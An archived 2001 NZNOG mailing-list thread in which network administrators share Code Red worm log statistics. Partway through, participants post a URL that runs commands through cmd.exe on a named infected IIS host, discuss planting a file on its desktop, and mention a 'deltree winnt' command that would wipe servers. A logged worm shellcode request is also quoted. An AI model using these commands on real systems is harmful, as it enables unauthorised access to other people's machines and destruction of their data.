Hi All, After about 30 second's of thinking about how to get rrdtool or mrgt to display what Code Red is up to on my server I decided to use webalizer instead. It defiantly gives you a better view on what is going on, have a look at http://203.97.86.130/codered/usage_200108.html . I have put the script in the cron.hourly directory so check back as often as you like. Neil Fincham Integral LTD.
That's neat, Neil. -- Juha -----Original Message----- From: owner-nznog(a)list.waikato.ac.nz [mailto:owner-nznog(a)list.waikato.ac.nz] On Behalf Of Neil Sent: Monday, 6 August 2001 21:11 To: nznog(a)list.waikato.ac.nz Subject: Code Red Stats Hi All, After about 30 second's of thinking about how to get rrdtool or mrgt to display what Code Red is up to on my server I decided to use webalizer instead. It defiantly gives you a better view on what is going on, have a look at http://203.97.86.130/codered/usage_200108.html . I have put the script in the cron.hourly directory so check back as often as you like. Neil Fincham Integral LTD. --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog
On Mon, 6 Aug 2001, Neil wrote:
Hi All,
After about 30 second's of thinking about how to get rrdtool or mrgt to display what Code Red is up to on my server I decided to use webalizer instead. It defiantly gives you a better view on what is going on, have a look at http://203.97.86.130/codered/usage_200108.html . I have put the script in the cron.hourly directory so check back as often as you like.
I've been breaking CR attempts into a seperate log file since the beginning of the month, and I am webalizing it too. http://www.wibble.net/crstats/ Updated hourly, on the half hour. -- Dylan Reeve - dylan(a)wibble.net "Um, yeah." --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog
http://www.nineeleven.co.nz/codered.pl Ordered numeraplha. Was going to get silly and sort a hash for quantities by IP but I was busy with work for some reason... By the way, gained 200 'hits' today.. T. On Mon, 6 Aug 2001, Dylan Reeve wrote:
On Mon, 6 Aug 2001, Neil wrote:
Hi All,
After about 30 second's of thinking about how to get rrdtool or mrgt to display what Code Red is up to on my server I decided to use webalizer instead. It defiantly gives you a better view on what is going on, have a look at http://203.97.86.130/codered/usage_200108.html . I have put the script in the cron.hourly directory so check back as often as you like.
I've been breaking CR attempts into a seperate log file since the beginning of the month, and I am webalizing it too.
http://www.wibble.net/crstats/
Updated hourly, on the half hour.
-- Dylan Reeve - dylan(a)wibble.net
"Um, yeah."
--------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog
Tim J. Shackleton ------------------+ +- Business http://www.netlink.co.nz/ Networks Admin/Programmer ----------+ +- Personal http://www.netnet.net.nz/ Netlink LTD -- DDI +64 4 922 8476 --+ +------------- Pager 64 +26 253 4356 +64 29 650 476 -- Cellular ---------+ +------------------------------------ ---- "Cold silence has a tendency to atrophy any sense of compassion" ----- --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog
On Mon, 6 Aug 2001, Steve Phillips wrote:
incase the admin notices...
http://210.218.205.3/c/winnt/system32/cmd.exe?/c+copy%20setup.log%20you.are.... cted.with.code.red.please.patch.me
Putting it on the desktop would be better, but I can't actually figure out... I thought would would be docume~1%5Cadmini~1%5Cdesktop but I can't dir that for some reason. I don't know Win2K well enough. -- Dylan Reeve - dylan(a)wibble.net "Um, yeah." --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog
On Mon, Aug 06, 2001 at 11:20:41PM +1200, Dylan Reeve wrote: Putting it on the desktop would be better, but I can't actually figure out... I thought would would be docume~1%5Cadmini~1%5Cdesktop but I can't dir that for some reason. I don't know Win2K well enough. Do '%%' expansions work? So %%profile%%\desktop or whatever it is? --cw --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog
On Mon, 6 Aug 2001, Chris Wedgwood wrote:
On Mon, Aug 06, 2001 at 11:20:41PM +1200, Dylan Reeve wrote:
Putting it on the desktop would be better, but I can't actually figure out... I thought would would be docume~1%5Cadmini~1%5Cdesktop but I can't dir that for some reason. I don't know Win2K well enough.
Do '%%' expansions work? So %%profile%%\desktop or whatever it is?
Don't seem to (escaping them as %25 doesn't anyway). An interesting sidenote, as far as the Crimes Amendment Act and Telecom's suggestion of outlawing tools for hacking -- Lynx/Mozilla/IE/Browserofchoice is now a perfect hacking tool against a number of IIS machines - a simple cmd.exe?/c+deltree+winnt[1] from any browser should be quite effective at destroying anyone of a large number of servers. [1] Actually, that wouldn't quite do it, but you get the idea. -- Dylan Reeve - dylan(a)wibble.net "Um, yeah." --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog
[Tue Aug 7 13:57:14 2001] [error] [client 203.228.144.15] Invalid URI in request XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0 Just started getting these. no default.ida?. Has the worm turned, again? Tim J. Shackleton ------------------+ +- Business http://www.netlink.co.nz/ Networks Admin/Programmer ----------+ +- Personal http://www.netnet.net.nz/ Netlink LTD -- DDI +64 4 922 8476 --+ +------------- Pager 64 +26 253 4356 +64 29 650 476 -- Cellular ---------+ +------------------------------------ ---- "Cold silence has a tendency to atrophy any sense of compassion" ----- --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog
participants (6)
-
Chris Wedgwood -
Dylan Reeve -
Juha Saarinen -
Neil -
Steve Phillips -
Tim Shackleton